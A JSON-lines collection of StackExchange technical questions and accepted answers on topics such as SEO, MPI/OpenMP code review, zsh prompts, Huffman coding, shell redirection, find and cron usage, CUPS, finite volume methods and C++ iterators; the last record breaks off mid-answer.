{  "id": "_webmaster.34295"  , "question": "I had planned on making a page according to a specific theme using content populated from the Twitter search API. With the new display requirements, I see I am obliged to include hash links, twitter username links and a lot of other garbage links. QUESTIONAre these links likely to adversely affect my page's SEO?If yes, are there any ways I can minimise that (ie. add no follow orsuch)."  , "title": "Do twitter links adversely affect SEO?"  , "tags": "seo;links;twitter"  , "accepted_answer": "An ungodly amount of spam passes through Twitter unfiltered so if you are displaying raw tweets then you should add nofollow to them. Linking out to very spammy sites could harm your ranking a little.If you are only displaying your own tweets, or those of specific trusted accounts, then there is less need to add nofollow."  } 
{  "id": "_codereview.105462"  , "question": "I am learning OpenMP+MPI hybrid programming. As an example I have chosen Gauss-Seidel+SOR. My implementation uses MPI_THREAD_FUNNELED style hybrid programming, overlapping of communication and computation, neighbourhood collectives, MPI IO etc. Based on my analysis and running many executions it seems to be correct (cannot guarantee however, since I am relatively new to this area).I am looking for general comments and feedback for improving my OpenMP, MPI and hybrid programming skills. Additionally, I am particularly interested in learning the root cause of the following scalability issue:Unfortunately MPI outperforms the OpenMP scalability on a single compute node:Hardware: 2x Xeon E5-2698 v3, 16 cores eachCompiler: Cray C : Version 8.3.4Compiler Flags: -h pragma=omp -h ipa5MPI: cray-mpich/7.2.2Input functions: f(x) = sqrt(x) and h(x) = 10 * sin(10 * x)My hypothesis is that this could be due to the ccNUMA architecture of the Haswell-EP CPU. Wikipedia says: ccNUMA may perform poorly when multiple processors attempt to access  the same memory area in rapid succession.This is the case in my code. Additionally: If I have 8 OpenMP threads, then they are bound by aprun to cores which are all connected by the same ring bus. When I increase to 16 cores the overhead for maintaining cache coherence increases and threads are bound to the cores of the first CPU and communication therefore has to go through the buffered switches. In the case of 32 threads even through QPI. The MPI version will require a lot less cache synchronisation, since the data is spread among several processes. Note that in the OpenMP case the complete data fits into one memory page.#include functions.h#include <mpi.h>#include <stdio.h>#include <stdlib.h>#include <math.h>#include <sys/param.h>#include <float.h>#include <stdbool.h>#include <omp.h>void iteration_loop(double* u, const int right_most, const int right_ghost, const int left_most, const int left_ghost);void redblack(double* u, int right_most, int right_ghost, int left_most, int left_ghost);void cacheFunctions(const int start, const int end, const int N_local);void writeresult(const int N_local, const double* u);double step(double* u, const int n);extern double f(double x);extern double r(double x);static double * ff;static double * rr;#define N 6000 /* number of discretization points */static const double h = 1. / (N - 1); /* discretization step */static const int MAX_ITER = 1000000; /* iteration limit */static const int TERMINATION_DETECTION_INTERVALL = 8000;static const double EPSILON = 0.0000001; /* convergence criterion */static const double THETA = 0.9; /* relaxation factor for SOR */static int world_rank, world_size; /* MPI */#define ndims 1 /* one dimensional Cartesian coordinate system */static const int peridos[ndims] = {0}; /* grid is not periodic  */static int dims[ndims] = {0}; /* division of processors in a Cartesian                                 0 allows MPI_Dims_create to override element */static MPI_Comm COMM_GRID; /* Cartesian communicator */static int my_coords[ndims]; /* Cartesian of process *//* MPI_Request objects for non-blocking communication */static MPI_Request neighbor = MPI_REQUEST_NULL;static MPI_Request reduce = MPI_REQUEST_NULL;static double start, end; /* used to calculate runtime */////////////////////////////////////////////////////////////////////////////////int main(int argc, char** argv) {    /* This code requires MPI_THREAD_FUNNELED. Quit if not met. */    int provided_thread_support;    MPI_Init_thread(&argc, &argv, MPI_THREAD_FUNNELED, &provided_thread_support);    if (provided_thread_support == MPI_THREAD_SINGLE) {        fprintf(stderr, Provided only MPI_THREAD_SINGLE\\n);        exit(EXIT_FAILURE);    }    MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);    MPI_Comm_size(MPI_COMM_WORLD, &world_size);    /* Divides processors in a Cartesian grid. */    MPI_Dims_create(world_size, ndims, dims);    /* Create communicator with Cartesian topology */    MPI_Cart_create(MPI_COMM_WORLD, ndims, dims, peridos, 0, &COMM_GRID);    MPI_Cart_coords(COMM_GRID, world_rank, ndims, my_coords);    /* data distribution, number of cells assigned to processor */    int N_local = ((N - 2 + dims[0] - my_coords[0] - 1) / world_size);    /* two additional memory cells are required for ghost cells / boundary condition*/    int MEM_local = N_local + 2;    /* Indices */    int left_ghost = 0; /* Index of left ghost cell */    int left_most = 1; /* Index of left most local cell */    int right_ghost = N_local + 1; /* Index of right ghost cell */    int right_most = N_local; /* Index of right most local cell */    /* Time measurement */    MPI_Barrier(MPI_COMM_WORLD);    start = MPI_Wtime();    /* Cached r and f */    rr = malloc(N_local * sizeof (double));    ff = malloc(N_local * sizeof (double));    cacheFunctions(1, right_most, N_local);    /* Allocate initial guess (all zero) */    double* u = calloc(MEM_local, sizeof (double));    if (u == NULL) {        perror(calloc);        exit(EXIT_FAILURE);    }    iteration_loop(u, right_most, right_ghost, left_most, left_ghost);    /* Time measurement */    MPI_Barrier(MPI_COMM_WORLD);    end = MPI_Wtime();    writeresult(N_local, u);    if (world_rank == 0) {        printf(\\n\\nExecution time: %f\\n, end - start);    }    /* Cleanup */    free(u);    free(rr);    free(ff);    MPI_Finalize();    return (EXIT_SUCCESS);}/////////////////////////////////////////////////////////////////////////////////* Caches results of f(x) and r(x) in ff[] and rr[] respectively */void cacheFunctions(        const int start,        const int end,        const int N_local) {    for (int n = start; n <= end; ++n) {        const double x_n = (my_coords[0] * N_local + n) * h;        ff[n] = f(x_n);        rr[n] = r(x_n);    }}/////////////////////////////////////////////////////////////////////////////////* Perform SOR until termination condition is met.  */void iteration_loop(        double* u,        const int right_most,        const int right_ghost,        const int left_most,        const int left_ghost) {    /* Maximum deviation from current and previous iteration */    double maxdelta = 0.0;    double oldmaxdelta = DBL_MAX;    /* For iteration loop control */    bool terminate = false;    int iter;    /* Iteration loop */#    pragma omp parallel default(shared) private(iter) firstprivate(terminate)    for (iter = 0; iter < MAX_ITER; ++iter) {        /* Breaking Out of iteration loop  */        if (!terminate) {            /* Communicate ghost cells */#            pragma omp master            {                redblack(u, right_most, right_ghost, left_most, left_ghost);            }            /* Update cells 2 to right_most - 1 which are independent               of ghost cells  */#            pragma omp for schedule(static) reduction(max:maxdelta)            for (int n = 2; n <= right_most - 1; ++n) {                double delta = step(u, n);                maxdelta = MAX(maxdelta, delta);            }#            pragma omp master            {                /* Wait until ghost cells are completely communicated */                MPI_Wait(&neighbor, MPI_STATUSES_IGNORE);                /* Update cells dependent on ghost cells */                double delta;                delta = step(u, left_most);                maxdelta = MAX(maxdelta, delta); /* only visible to master, acceptable */                delta = step(u, right_most);                maxdelta = MAX(maxdelta, delta); /* dito */            }            /* If reduction of termination condition was initiated in previous             * iteration. */            if ((iter - 1) % TERMINATION_DETECTION_INTERVALL == 0) {                /* Wait until reduction of global maximum deviation has completed */#                pragma omp master                {                    MPI_Wait(&reduce, MPI_STATUSES_IGNORE);                }                /* All threads need to wait for master to complete MPI reduction                 * and they need to see the result in oldmaxdelta in order to                 * know if they should break the loop */#                pragma omp barrier                /* If maxdelta of previous iteration is smaller than EPSILON, terminate */                if (oldmaxdelta < EPSILON) {                    if (world_rank == 0) {                        printf([%d] breaking after %d of %d iterations\\n, omp_get_thread_num(), iter, MAX_ITER);                    }                    terminate = true;                }            }#            pragma omp master            {                /* Decides if termination detection should take place in this iteration */                if (iter % TERMINATION_DETECTION_INTERVALL == 0) {                    //printf(2) iter=%d, oldmaxdelta=%.9f, maxdelta=%.9f \\n, iter, oldmaxdelta, maxdelta);                    /* Save maxdelta to oldmaxdelta in order to overlap reduction with computation */                    oldmaxdelta = maxdelta;                    /* Perform reduction to find global maximum deviation in current iteration */                    MPI_Iallreduce(MPI_IN_PLACE, &oldmaxdelta, 1, MPI_DOUBLE,                            MPI_MAX, COMM_GRID, &reduce);                }            }            /* master resetts maxdelta, after initiating Iallreduce */#            pragma omp master            {                maxdelta = 0;            }            /* all threads need to wait until maxdelta has been updated */#            pragma omp barrier        }    }}/////////////////////////////////////////////////////////////////////////////////* Perform SOR on cell  */double step(double* u, const int n) {    const double last_u = u[n];    u[n] = (u[n - 1] + u[n + 1] - h * h * ff[n]) / (2. - h * h * rr[n]);    u[n] = u[n] + THETA * (u[n] - last_u);    return fabs(last_u - u[n]);}/////////////////////////////////////////////////////////////////////////////////* Perform redback communication. */void redblack(        double* u,        const int right_most,        const int right_ghost,        const int left_most,        const int left_ghost) {    int counts[] = {1, 1};    int sdispls[] = {left_most, right_most};    int rdispls[] = {left_ghost, right_ghost};    MPI_Ineighbor_alltoallv(&u[0], counts, sdispls, MPI_DOUBLE,            &u[0], counts, rdispls, MPI_DOUBLE, COMM_GRID, &neighbor);}/////////////////////////////////////////////////////////////////////////////////* Write result to file. */void writeresult(const int N_local, const double* u) {    /* Global index of processor's first cell */    const int global_offset = world_rank * ((N - 2) / world_size) + MIN(world_rank, (N - 2) % world_size) + 1;    /* Length of output line */    const int LINE_SIZE = 19;    /* Allocate memory for every output line and \\0 terminator */    char * buf = malloc(N_local * LINE_SIZE + 1);    /* Write output to buffer */    for (int i = 1; i <= N_local; ++i) {        const double x_n = (global_offset + i) * h;        sprintf(buf + (i - 1) * LINE_SIZE, %f %+f\\n, x_n, u[i]);    }    /* MPI IO */    MPI_File fh;    MPI_File_open(MPI_COMM_WORLD, pde.out, MPI_MODE_CREATE | MPI_MODE_WRONLY, MPI_INFO_NULL, &fh);    if (world_rank == 0) {        /* Master writes boundary condition, since this is not contained in         any local cell */        MPI_File_seek(fh, 0, MPI_SEEK_SET);        char * boundery0 = 0.000000 +0.000000\\n;        MPI_File_write(fh, boundery0, LINE_SIZE, MPI_CHAR, MPI_STATUS_IGNORE);    }    MPI_File_seek(fh, global_offset * LINE_SIZE, MPI_SEEK_SET);    MPI_File_write(fh, buf, (N_local * LINE_SIZE), MPI_CHAR, MPI_STATUS_IGNORE);    MPI_File_close(&fh);    free(buf);}"  , "title": "Gauss-Seidel+SOR"  , "tags": "performance;c;openmp;mpi"  } 
{  "id": "_unix.307234"  , "question": "my .zshrc is autoload -Uz colors && colorsPROMPT=%{$fg[red]%}%n%{$reset_color%}@%{$fg[blue]%}%m %{$fg_no_bold[yellow]%}%1~ %{$reset_color%}%# RPROMPT=[%{$fg_no_bold[yellow]%}%?%{$reset_color%}]its not changing the prompt at all.the output of simha@gauranga ~ % zsh -ixc exit 2>&1 | egrep 'PS[1-4]|PROMPT'+/etc/zsh/zshrc:1726> PS2='\\`%_> ' +/etc/zsh/zshrc:1728> PS3='?# ' +/etc/zsh/zshrc:1730> PS4='+%N:%i:%_> ' +/home/simha/.zshrc:3:> export VIRTUAL_ENV_DISABLE_PROMPT=yes+/home/simha/.zshrc:16:> PROMPT='%{%}%n%{%}@%{%}%m %{%}%1~ %{%}%# ' +/home/simha/.zshrc:17:> RPROMPT='[%{%}%?%{%}]' "  , "title": "linux: zsh prompt not changing after modification in .zshrc"  , "tags": "zsh"  } 
{  "id": "_cs.56615"  , "question": "Char        Code====        ====E           0000i           0001y           0010l           0011k           0100.           0101space       011e           10r           1100s           1101n           1110a           1111Original text:Eerie eyes seen near lakeEncoded:0000101100000110011100010101101101001111101011111100011001111110100100101Why is there no need for a separator in the Huffman encoding?"  , "title": "Huffman encoding: why is there no need for a separator?"  , "tags": "coding theory;encoding scheme;huffman coding"  , "accepted_answer": "You don't need a separator because Huffman codes are prefix-free codes (also, unhelpfully, known as prefix codes). This means that no codeword is a prefix of any other codeword.  For example, the codeword for e in your example is 10, and you can see that no other codewords begin with the digits 10.This means that you can decode greedily by reading the encoded string from left to right and outputting a character as soon as you've seen a codeword.  For example, 0, 00 and 000 don't code anything so you keep reading bits.  When you read 0000, that encodes E and, because the code is prefix-free, you know there's no other codeword 0000x, so you can now output E and start to read the next codeword. Again, 1 doesn't encode anything but 10 encodes e.  No other codewords begins with 10, so you can output e.  And so on."  } 
{  "id": "_unix.311402"  , "question": "I have the following shell script:error=$(mkdir test 2>&1)I know that the variable 'error' will get the error result of the mkdir command if there is an error, but I can't understand how 2>&1 works, could someone explain it? Thanks!"  , "title": "error=$(mkdir test 2>&1) What is the meaning of that expression?"  , "tags": "bash;shell;io redirection;command substitution"  , "accepted_answer": "The syntaxx=$(some_command)will run some_command and the output of that is returned and stored in the variable $x.Now, normally, programs send normal output to the standard out stream (stdout, file handle #1) and error messages to the standard error stream (stderr, file handle #2).The redirection semantic 2>&1 means (roughly speaking; it's a little more complicated under the covers) send stderr to stdout.  So error messages and output messages are mixed together.So we can combine the two:x=$(some_command 2>&1)will return the output and the error messages and put them into $x.In your caseerror=$(mkdir test 2>&1)means that $error will contain the output (which is empty) and the error (which may contain a string if an error occurs).  The result is that   $error will contain any error message from the mkdir command.We can see this in action.  $ error=$(mkdir /)mkdir: cannot create directory '/': File exists$ echo $error$ error=$(mkdir / 2>&1)$ echo $errormkdir: cannot create directory '/': File existsIn the first case the error message is printed immediately because it's sent to stderr, and the variable is empty.  In the second case we redirect stderr to stdout and so it is captured and stored in the $error variable."  } 
{  "id": "_webapps.28386"  , "question": "I've been using Google Apps for my personal domain for some time, using it for email and the calendar. A couple of hours ago, I activated Google Contacts in the domain dashboard. It is now listed as activated for my domain.If I try to log in on the URL given in the dashboar, https://www.google.com/contacts/a/mydomain.tld?hl=en, I see the following error:Contacts has not been enabled by the administrator of the domain @mydomain.tld.You can sign into another account to use Contacts.If you are the Google Apps administrator, please read these articles to learn more about controlling user access to Google Apps services and turning services on/off for certain users.I've tried to log in using an @gmail.com account at google.com/contacts and then changing account to my Google Apps account. This results in an infinite HTTP redirect cycle.What could I have missed?"  , "title": "Google Contacts enabled for Google Apps, but Google disagrees"  , "tags": "google apps;google contacts"  } 
{  "id": "_unix.44075"  , "question": "I've been using iptables for some time but recently noticed that the log prefix I'd set had got corrupted. In /etc/iptables/rules.v4` I have:-A LOGNDROP -j LOG --log-prefix iptables denied:  --log-level 7I found that in /var/log/syslog I actually have records likeJul 25 20:10:04 zotac kernel: [688421.696561] --log-prefixIN=wlan0 OUT= MAC=1c:4b:d6:ee:a9:64:00:24:17:0c:a7:ef:08:00 SRC=173.194.67.109 DST=192.168.1.4 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=36871 PROTO=TCP SPT=587 DPT=60497 WINDOW=0 RES=0x00 RST URGP=0Where the log prefix has somehow got set to --log-prefix.I can fix this by executing: ~# iptables -R LOGNDROP 1 -j LOG --log-prefix iptables denied:  --log-level 7But why is this happening and how do I fix it?FYI: Debian Wheezy [Linux version 3.2.0-2-686-pae (Debian 3.2.20-1)] with iptables [1.4.14-2] and iptables-persistent [0.5.3+nmul]"  , "title": "iptables logging prefix gets corrupted"  , "tags": "iptables;syslog"  } 
{  "id": "_webmaster.29227"  , "question": "I will be hosting a Django application on hostgator.com and was wondering how can I install django apps and python packages without using pip, since I won't have access to the root account."  , "title": "Installing python packages on shared hosting?"  , "tags": "web hosting;shared hosting;django;python"  } 
{  "id": "_unix.260753"  , "question": "I would like to see at a glance where my tmux terminal dynamically wraps output lines: A wrapped line currently looks like this:This is a very long sentence that did notfit on one screen line.Instead, I would like it to look, for example, like this:This is a very long sentence that did not>>> fit on one screen line.Under vim I'd use set breakindentopt sbr=>>> to achieve this effect. Is there a similar option for tmux?"  , "title": "Tmux line wrap indicator"  , "tags": "tmux"  } 
{  "id": "_vi.7651"  , "question": "Text object motions are useful to move around in a file. Although these motion commands were specifically created for text (novel) writers, they can also be used in C source code.The commands gd and gD make use of object-motions and I find them very helpful when working with C, but as far as I can tell there is no way of making it work for languages that do not use brackets.I can see that it is possible to workaround this by remapping all these commands (example here).But is there a way of configuring object-motions for languages that do not make use of brackets, such that the command gd would be able to quickly find local variable definitions without having to remap it to a custom function?"  , "title": "How to customize object-motions?"  , "tags": "object motions"  } 
{  "id": "_softwareengineering.236073"  , "question": "Let's say that a user requests for some piece of data. Usually the data is processed via a server and then returned in XML/JSON format. Im guessing another piece of processing happens to convert it into HTML/CSS so that it could be displayed on a browser. Why do we bother returning XML/JSON for API requests? Why can't we just directly process whatever the user wants and just return the modified web page (HTML/CSS/JS)?"  , "title": "Why returning XML/JSON for API requests, can't we just directly process request and return the modified web page (HTML/CSS/JS)?"  , "tags": "api;xml;json"  , "accepted_answer": "Because you can do many more things with real data besides display it in a web page.HTML is just a type of output that web browsers recognize, and it's not really useable as data in a meaningful way, because its metadata is about structure and form, not about the data itself.  It also contains all sorts of things that have nothing to do with data output, such as the <input> tag.XML and JSON, on the other hand, can be used to create dynamic HTML web pages by simply binding to it.  In addition, you can create reports with it, you can analyze it with programs and algorithms, you can meaningfully put it in a database and process it further. None of these things are really practical with HTML, since HTML is a markup language, not a data transport mechanism."  } 
{  "id": "_codereview.142134"  , "question": "I have a function that I use to convert a list of dictionaries into a list of tuples, similar to itertools.groupby() would do in an ideal world.  The goal is to make a list of {unique-dict} => [list of values].  I'm having a hard time explaining it, so I hope the example makes it clear. I couldn't find a thing on google, so I wrote it pretty quickly, and I am wondering if there is a better way to do this (or a standard library even) Naming things is hard... what is a better one?This is a task I performed fairly often when receiving user inputThe keys in each dict may not be consistent (some may be missing)It is OK to destroy or mangle the original input list & itemsValidation is done before calling, so 'key_field' is always presentIt is expected that values can be duplicated in the list.{ status: 1 } => [1,2,3,4,1,2] is ok, if the values are actually present twice.Simple little python function:def group_by_excluding_key(list_of_dicts, key_field):        Takes a list of `dict` items and groups by ALL KEYS in the dict EXCEPT the key_field.    :param list_of_dicts: List of dicts to group    :param key_field: key field in dict which should be excluded from the grouping        output = []    for item in list_of_dicts:        found = False        item_key = item.pop(key_field)        for existing_group, found_keys in output:            if existing_group.viewitems() == item.viewitems():                found_keys.append(item_key)                found = True                break        if not found:            output.append((item, [item_key]))    return outputExample Input/Outputfrom pprint import pprintdata = [    {'id': 1, 'status': 1, 'product': 1},    {'id': 2, 'status': 1, 'product': 1},    {'id': 7, 'status': 1, 'product': 2},    {'id': 9, 'status': 1, 'product': 2},    {'id': 3, 'status': 1, 'product': 1},    {'id': 4, 'status': 1, 'product': 1},    {'id': 8, 'status': 1, 'product': 2},    {'id': 1, 'status': 1, 'product': 1},]results = group_by_excluding_key(data, 'id')pprint(results)# [({u'product': 1, u'status': 1}, [1, 2, 3, 4, 1]),#  ({u'product': 2, u'status': 1}, [7, 9, 8])]"  , "title": "Group a list of `dict` by all keys except one"  , "tags": "python;python 2.7"  , "accepted_answer": "Your code is pretty good, there is one thing that I would add,the for-else keyword, as this gets rid of the found variable.Which honestly is just noise.This is as if a for loop runs completely without breaking then the else will run too. But if it breaks then it won't run the else.This can leave you with:def group_by_excluding_key(list_of_dicts, key_field):        Takes a list of `dict` items and groups by ALL KEYS in the dict EXCEPT the key_field.    :param list_of_dicts: List of dicts to group    :param key_field: key field in dict which should be excluded from the grouping        output = []    for item in list_of_dicts:        item_key = item.pop(key_field)        for existing_group, found_keys in output:            if existing_group.viewitems() == item.viewitems():                found_keys.append(item_key)                break        else:            output.append((item, [item_key]))    return outputOther than that your code is good.But if I were to were to write this, I'd prefer a very small solution.Lets say dicts are hash able, what you want is a dictionary that has the modified item as the key, and the popped item_key as the value.This obviously has two down-sides, it's not ordered, and dicts aren't hash able.Both easily solved with collections.OrderedDict and tuple(dict.items()).And so can result in:from collections import OrderedDictdef group_by_excluding_key(list_of_dicts, key_field):        Takes a list of `dict` items and groups by ALL KEYS in the dict EXCEPT the key_field.    :param list_of_dicts: List of dicts to group    :param key_field: key field in dict which should be excluded from the grouping        output = OrderedDict()    for item in list_of_dicts:        key = item.pop(key_field)        output.setdefault(tuple(item.items()), []).append(key)    return [(dict(key), value) for key, value in output.items()]This has the benefit of moving the for loop into the OrderedDict, and possibly getting \\$O(1)\\$ key lookup, but requires you to change the type of all the keys, twice.I know you didn't ask for a performance review, but the performance difference between my code and your code can be tested with the following. The comments are my functions run time over yours as a percentage, so if mine took 0.8s and yours 3.3s then it'll be 24%, followed by how long it took my function to run.from timeit import timeitfrom itertools import count# 240%, 0.1sc = count(1)l = [{'status': 1, 'product': i, 'id': next(c)} for i in range(10)]print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key_dict as fn', number=1000))print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key as fn', number=1000))# 25%, 0.8sc = count(1)l = [{'status': 1, 'product': i, 'id': next(c)} for i in range(100)]print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key_dict as fn', number=1000))print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key as fn', number=1000))# 28%, 0.8sc = count(1)l = [{'status': i, 'product': j, 'id': next(c)} for i in range(10) for j in range(10)]print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key_dict as fn', number=1000))print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key as fn', number=1000))# 0.4%, 0.9sc = count(1)l = [{'status': i, 'product': j, 'id': next(c)} for i in range(100) for j in range(100)]print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key_dict as fn', number=10))print(timeit('fn({!r}, id)'.format(l), 'from __main__ import group_by_excluding_key as fn', number=10))"  } 
{  "id": "_softwareengineering.352559"  , "question": "I'm a .NET developer, currently writing an ASP.NET site hosted on our local servers with Windows, IIS, and SQL Server. We're speaking to a company in India about hiring a developer for a different site, written in PHP but ideally running on the same server: Windows, IIS, SQL Server. He does not know English very well.He is hung up on LAMP — claiming that he needs to use Linux, Apache, and MySQL because he is writing in PHP. I have no experience with PHP, but it is supported by IIS and SQL Server. What am I missing here? I can't tell if he doesn't know what he's talking about or simply cannot understand us — equally bad problems."  , "title": "What problems arise from writing PHP for IIS/SQL Server rather than Apache/MySQL?"  , "tags": "php;web development;sql;apache;iis"  } 
{  "id": "_softwareengineering.88714"  , "question": "I am an MCA fresher and will be working on dot Net for next few months (almost 10-12 months). After that I want to switch over to Java.How is the possibility that I can switch over to it? What type of preparation I am supposed to do? I am also planning to appear for SCJP but don't have any knowledge how to get registered an registration fees.Please also guide me what is company's approach towards the candidates switching their technologies. What are the things that companies look for?"  , "title": "Possibility to switch over to Java from .Net"  , "tags": "java;asp.net"  } 
{  "id": "_unix.87258"  , "question": "I want to recursively delete all files not accessed in a while in folder a, except all files in the subfolder b.find a \\( -name b -prune \\) -o -type f -deleteHowever, I get an error message:find: The -delete action automatically turns on -depth, but -prune does  nothing when -depth is in effect.  If you want to carry on anyway,  just explicitly use the -depth option.Adding -depth causes all files in b to be included, which must not happen.Anyone know a safe way to make this work?"  , "title": "Delete all files except in a certain subdirectory with find"  , "tags": "find;directory;rm"  , "accepted_answer": "TL;DR: the best way is to use -exec rm instead of -delete.find a \\( -name b -prune \\) -o -type f -exec rm {} +Explanation:Why does find complain when you try to use -delete with -prune?Short answer: because -delete implies -depth and -depth makes -prune ineffective.Before we come to the long answer first observe the behaviour of find with and without -depth:$ find foo/foo/foo/f3foo/barfoo/bar/b2foo/bar/b3foo/bar/b1foo/f1foo/f2There is no guarantee about the order in a single directory. But there is a guarantee that a directory is processed before its contents. Note foo/ before any foo/* and foo/bar before any foo/bar/*.This can be reversed with -depth.$ find foo/ -depthfoo/f3foo/bar/b2foo/bar/b3foo/bar/b1foo/barfoo/f1foo/f2foo/Note that now foo/ appears after any foo/*. Same with foo/bar.Longer answer:-prune prevents find from descending into a directory. In other words -prune skips the contents of the directory. In your case -name b -prune prevents find from descending into any directory with the name b.-depth makes find to process the contents of a directory before the directory itself. That means by the time find gets to process the directory entry b its contents has already been processed. Thus -prune is ineffective with -depth in effect.-delete implies -depth so it can delete the files first and then the empty directory. -delete refuses to delete non-empty directories.I guess it would be possible to add an option to force -delete to delete non-empty directories and/or to prevent -delete to imply -depth. But that is another story.There is another way to achieve what you want:find a -not -path */b* -type f -deleteThis may or may not be easier to remember. YMMV.-path is required instead of -name because -name only matches against the name itself while -path is matching against the entire pathname.Note that this will not delete any file which has any parent directory which name is starting with b but also any file which name is starting with b.I assume that you used a and b as placeholders and the real names are more like allosaurus and brachiosaurus. If you put brachiosaurus in place of b then the amount of false positives will be drastically reduced.There is still chance for false positives though, but at least they will be not deleted, so it will be not as tragic. Furthermore, you can check for false positives by first running the command without -delete. But remember to place the implied -depth.find a -not -path */b* -type f -depthNote that this command still descends into the directory b and proceses every single file in it only for -not to reject them. This can be a performance issue if the directory b is huge."  } 
{  "id": "_unix.57594"  , "question": "I have a cron job running a php command like this:php /path/to/script.php > dev/nullThis should send only STDERR output to the MAILTO address. From what I gather the php script is not outputting any STDERR information even when its exit status is 1.How can I get the output of the php command (STDOUT) and only send it to MAILTO if the exit status is non-zero?"  , "title": "Have cron email output to MAILTO based on exit status"  , "tags": "bash;cron"  , "accepted_answer": "php /path/to/script.php > logfile || cat logfile; rm logfilewhich dumps standard output into logfile and only outputs it if the script fails (exits non-zero).Note: if your script might also output to stderr then you should redirect stderr to stdout. Otherwise anything printed to stderr will cause cron to send an email even if the exit code is 0:php /path/to/script.php > logfile 2>&1 || cat logfile; rm logfile"  } 
{  "id": "_unix.311467"  , "question": "I have a printer 'brother'. My network is a linux server; 'server' (debian 8.5) that handles DHCP, DNS, Routing, Firewalling etc with a local address of 10.0.0.10. brother is connected to server and has an ip address of 10.0.0.90.The clients on my network that have addresses of 10.0.0.x/24 are able to send jobs to the printer using ipp://10.0.0.90, however this requires each client to install cups and the driver or ppd for that printer. What I actually want to do is have clients send jobs to a centralized CUPS server at 10.0.0.10 and then that instance of CUPS has a master job list and sends that to the printer as one connection. I don't want to give direct access to 10.0.0.90.I am confused on how to set this up exactly. Does anyone have any good resources I can read up on, or perhaps you can help me work this out?Cheers!llldino"  , "title": "CUPS: Centralized CUPS server; how do I do this?"  , "tags": "debian;networking;cups;printer"  } 
{  "id": "_scicomp.4849"  , "question": "In finite difference theory, you learn, that you have to use upwinding for equations with high convection, like Burgers' equation. What does the finite volume equivalent look like? What if the convection is nonlinear like in Burgers' equation?"  , "title": "How to do upwinding in finite volume schemes for nonlinear equations?"  , "tags": "finite volume;nonlinear equations"  , "accepted_answer": "You need to solve a Riemann problem, perhaps approximately. For a linear system of equations, the solution to the Riemann problem is just upwinding applied to the characteristics. An exact Riemann solver for nonlinear problems resolves the full wave structure (consisting of shocks, rarefactions, and possibly linearly degenerate contact discontinuities). An approximate Riemann solver does not resolve all waves, which implies (some) excess diffusion, but can be much simpler to implement. Details are discussed in any book on finite volume methods, or in Toro's book on Riemann Solvers."  } 
{  "id": "_unix.306506"  , "question": "I'm using lxc via libvirt on centos 7.Is there a way to configure multiple containers to share the same resource pool?I need this for 2 resource intensive containers. Right now I configured the resources to be over-committed. Usually the 2 containers will not be run simultaneously. However, when they run at the same time I want to prevent out of memory scenarios affecting the whole system and hard to track bugs."  , "title": "multiple lxc containers sharing the same CPU and mem resource pool"  , "tags": "lxc"  } 
{  "id": "_codereview.80592"  , "question": "Take a look at the following function:std::vector<double> get_data(    std::vector<double> const &data,    double const t,    double const x){    std::vector<double> result(data.size(), 0.0);    double const        A = func(t, x),        B = func2(t, x);    std::transform(std::begin(data) + 1, std::end(data), std::begin(result) + 1,        [A, B](double const val){            return A * val + B;        });    return result;}I am attempting to convert the function above into some sort of structure that computes the values of the result array lazily. First, I will present the code, then describe some rationale.class data_obj {    std::vector<double>        m_data;    double        m_A , m_B;public:    data_obj(        std::vector<double> data,        double const t,        double const x)    : m_data(data)    {        set_values(t, x);    }    void set_values(double const t, double const x)    {        m_A = func(t, x);        m_B = func2(t, x);    }    friend class obj_iterator;};class obj_iterator {    data_obj const        &m_obj;    std::vector<double>::const_iterator        m_data_iter, m_data_end;    double        m_val;public:    obj_iterator(data_obj const &obj)    : m_obj(obj)    , m_data_iter(m_obj.m_data.begin())    , m_data_end(m_obj.m_data.end())    , m_val(0) { }    bool has_next() const {        return m_data_iter != m_data_end;    }    void next() {        ++m_data_begin;        m_val = *m_data_iter * m_obj.m_A + m_obj.m_B;    }    double val() const {        return m_val;    }};Here are some points to explain the rationale/requirements:t and x are independent parameters in an optimizer, hence the obj_iterator::set_values() method. On the other hand, data_obj::m_data is constant throughout.I chose a reference member in obj_iterator::m_data because I want the lifetime of the iterator to be dependent on the lifetime of the object holding the data, as mentioned here.Finally, here's an example usage of the classes created:data_obj res_obj(src_data, t, x);for(obj_iterator res_iter(res_obj); res_iter.has_next(); res_iter.next()) {    std::cout << res_iter.val() << , ;}Is my rationale flawed? How would you improve this implementation? As someone who programs in python, this could be easily achieved with generator functions. "  , "title": "Converting an array-returning function to a lazy evaluator"  , "tags": "c++;converting;lazy"  , "accepted_answer": "You've done a lot of things well. Going the route of an iterator was a good choice, and you got the small details of const correctness and references and whatnot correct. There are, however, a few things I think can improved.NamingYour names are very undescriptive. In fact, it took me far longer than it should have to realize it's just modelling a linear function over a certain domain. Something like apply_linear for the returning version might be good, and something like linear_iterator might be good for the other one. Also, data_obj is very vague name. Pretty much all objects contain data of some kind. I might call it something like linear_function or something.StructureSomething about your structure is a little off. I think instead of having obj_iterator take a data_obj for construction, I would have data_obj have begin() and end() methods that return a beginning iterator and an ending one. That way, you don't have to get into any friend stuff (right now data_obj is pretty useless to anything except the iterator since its members are private).I'm also a bit uncomfortable with func and func2 being hardcoded. What if you want to change them? What if you want them to not be applied? It has essentially tightly coupled data_obj to func and func2, and worse yet, there's not really any reason for it. You can just have A and B be accepted for the values, and then you can apply func and func2 if you want.That's essentially tightly coupling the linear function to those two functions. Further more, the coupling is super easy to get rid of: instead of taking t and x and applying func and func2, just accept a value that won't be further transformed.In essence, I'm essentially suggesting that you generalize your thinking a bit farther. Currently you're modeling y(x) = m(t, z) * x + b(t, z). The problem is that m and b are constants, so there's no point in modeling them as part of the function. Instead, you can just model a typical linear function y(x) = m*x + b and take in m and b as constants (m = m(t, z), b = b(t, z)).Idiomatic IteratorLike I said earlier, it's good that you went with iterators for this. It's the best (built in) way in C++ to achieve a generator. It would have been a bit nicer if you'd done it more idiomatically though. In C++, iterators are used as pairs of iterators with a currently iterated iterator and an ending iterator. 